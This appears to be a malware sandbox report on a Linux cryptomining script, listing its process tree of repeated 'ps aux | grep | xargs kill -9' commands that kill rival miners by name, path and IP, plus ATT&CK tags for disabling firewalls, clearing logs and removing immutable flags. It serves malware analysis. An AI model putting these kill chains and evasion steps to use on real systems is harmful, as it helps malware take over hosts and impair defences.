/bin/grepgrep -v grep2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/bin/grepgrep darwin2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/dl2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep /tmp/ddg2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/pprt2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/ppol2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
- Reads runtime system information
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/grepgrep "/tmp/jmx*"2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep 45.76.122.922⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep 51.38.191.1782⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep 51.15.56.1612⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/grepgrep C4iLM4L2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /boot/vmlinuz2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep i4b503a52cc52⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep nqscheduler2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep httpgd2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep rsync2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep watchd0g2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/java2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep gitee.com2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/java2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep 104.248.4.1622⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep 89.35.39.782⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep kthrotlds2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep ksoftirqds2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep netdns2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep watchdogs2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep httpgd2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep kdevtmpfsi2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/grepgrep kinsing2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep redis22⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep " ps"2⤵
-
-
/bin/grepgrep -v aux2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads CPU attributes
-
-
/bin/grepgrep sync_supers2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/cutcut -c 9-152⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/cutcut -c 9-152⤵
-
-
/bin/grepgrep cpuset2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep -v aux2⤵
-
-
/bin/grepgrep "x]"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep "sh] <"2⤵
-
-
/bin/grepgrep -v aux2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep -v aux2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/grepgrep " \\[]"2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/l.sh2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/zmcat2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep hahwNEdB2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep CnzFVPLF2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep CvKzzZLs2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Indicator Removal
1Clear Linux or Mac System Logs
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
idle
javab
ksmd
ip6network
irqbalanced
kswaped
pamdicks
rctlcli
systemd-network